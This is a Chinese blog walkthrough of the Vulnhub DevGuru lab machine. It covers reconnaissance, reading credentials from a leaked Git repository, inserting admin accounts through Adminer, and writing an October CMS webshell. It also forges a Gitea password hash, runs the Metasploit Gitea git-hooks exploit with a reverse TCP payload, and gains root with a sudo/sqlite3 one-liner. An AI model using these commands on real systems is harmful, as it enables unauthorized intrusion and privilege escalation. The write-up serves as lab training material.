Vulnhub - DevGuru

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

DevGuru 靶机下载地址:DevGuru: 1 ~ VulnHub

目录

0x01 信息收集

0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144

0x03 权限提升 - SUDO&CVE-2021-3156


0x01 信息收集

Nmap扫描目标主机,发现开放22、80、8585端口,分别运行OpenSSH 7.6p1、Apache httpd 2.4.29服务。

访问80端口页面如下。Wappalyzer显示操作系统为Ubuntu,CMS为October CMS,数据库管理器为Adminer 4.7.7,编程语言为PHP、GO。 

DirSearch扫描80端口网站目录,发现存在Git源码泄露、管理员后台登录地址、数据库管理器地址。 

python dirsearch.py -u "http://192.168.196.139/" -z yes

数据库管理器:http://192.168.196.139/adminer.php

管理员后台登录:http://192.168.196.139/backend/backend/auth

访问8585端口,发现是一个Gitea网站(一款使用Golang编写的可自运营的代码管理工具)。

0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144

由于80端口网站存在Git源码泄露,通过GitHack下载其Git源码,如下:

python GitHack.py -u "http://192.168.196.139/.git/"

翻阅源码,发现 /config/database.php存在MySQL数据库账号密码泄露,用户为october。

'database'   => 'octoberdb',
'username'   => 'october',
'password'   => 'SQ66EBYx4GT3byXH',

使用october的账号密码登录Adminer(数据库: octoberdb),在backend_users表观察到用户frank的password hash,尝试使用john解密失败,但得知其加密方式为bcrypt。

使用在线网站生成bcrypt密码hash值,如下:

bcrypt hash在线生成:Bcrypt-Generator.com - Generate, Check, Hash, Decode Bcrypt Strings

 新建用户ch4ser,将生成的hash填入password,并设置is_superuser=1,如下:

PS:另一种方法

新增用户ch4ser,password选择encrypt,is_superuser选择1。在backend_users_groups表将用户ch4ser添加到管理员组。这种方法不具有普遍性,这里能用是因为password可以选择encrypt。

在管理员后台成功登录用户ch4ser。选择左上角CMS模块,观察到访问/blog路由会触发onStart()方法。

于是新建一个模板shell,尝试触发onStart()方法写入webshell。访问/shell报错,通过报错信息得知webshell写入成功。

蚁剑连接webshell成功,翻阅目录找到了备份文件/var/backups/app.ini.bak,其中存在另一个用户gitea的MySQL账号密码泄露。

DB_TYPE             = mysql
HOST                = 127.0.0.1:3306
NAME                = gitea
USER                = gitea
PASSWD              = UfFPTF8C8jjxVF2m

使用gitea的账号密码登录Adminer(数据库: gitea),在user表观察到Gitea管理员frank的密码加密算法为pbkdf2,还有rand和salt看似是加密的。

尝试使用john、hashcat破解Gitea管理员frank的密码,未成功。

在GitHub找到Gitea源码,在该存储库下搜索关键字"pbkdf2",其使用pbkdf2算法进行加密,生成长度为50的hash值,迭代次数为10000,Salt就是之前的Bop8nwtUiM。

Gitea源码地址:https://github.com/search?q=repo%3Ago-gitea%2Fgitea+pbkdf2&type=code

使用在线网站生成pbkdf2密码,填写已知信息Salt、明文、迭代次数、生成的hash长度。

Salt=Bop8nwtUiM
Plain-text=123456
Iterations=10000
Key size (bytes)=50

替换Gitea管理员frank的密码hash值,成功登录8585端口的Gitea。

 

MSF搜索Gitea相关漏洞发现CVE-2020-14144,该漏洞需要认证才可使用,我们现在已满足条件,设置好options然后run,成功拿下frank的普通用户权限。

msf6 > use exploit/multi/http/gitea_git_hooks_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_hooks_rce) > set username frank
username => frank
msf6 exploit(multi/http/gitea_git_hooks_rce) > set password 123456
password => 123456
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.196.139
rhosts => 192.168.196.139
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rport 8585
rport => 8585
msf6 exploit(multi/http/gitea_git_hooks_rce) > set lhost 192.168.196.128
lhost => 192.168.196.128
msf6 exploit(multi/http/gitea_git_hooks_rce) > run

或者直接复现该漏洞也行,进入项目 >> Settings >> Git Hooks >> Update 写上bash反弹命令保存,Kali这边nc监听,更新项目任意文件即可收到会话。

0x03 权限提升 - SUDO&CVE-2021-3156

上传综合辅助探测脚本LinEnum.sh至目标主机/tmp目录下,给予执行权限执行。

辅助项目下载地址:GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

检测到sudo版本为1.8.21p2,且检测到NOPASSWD的SUDO命令:/usr/bin/sqlite3

查询GTFOBins得知sqlite3的SUDO提权方式如下,启用一个新的root权限的bash。

GTFOBins地址:

但实测以上命令不行,原因是sudo版本不符合利用条件,使用以下命令成功拿到root权限和flag:

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

另外也可以通过sudo本身漏洞提权,只要版本符合CVE-2021-3156利用条件或者执行命令 sudoedit -s / 报错,漏洞即存在。

  • 27
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值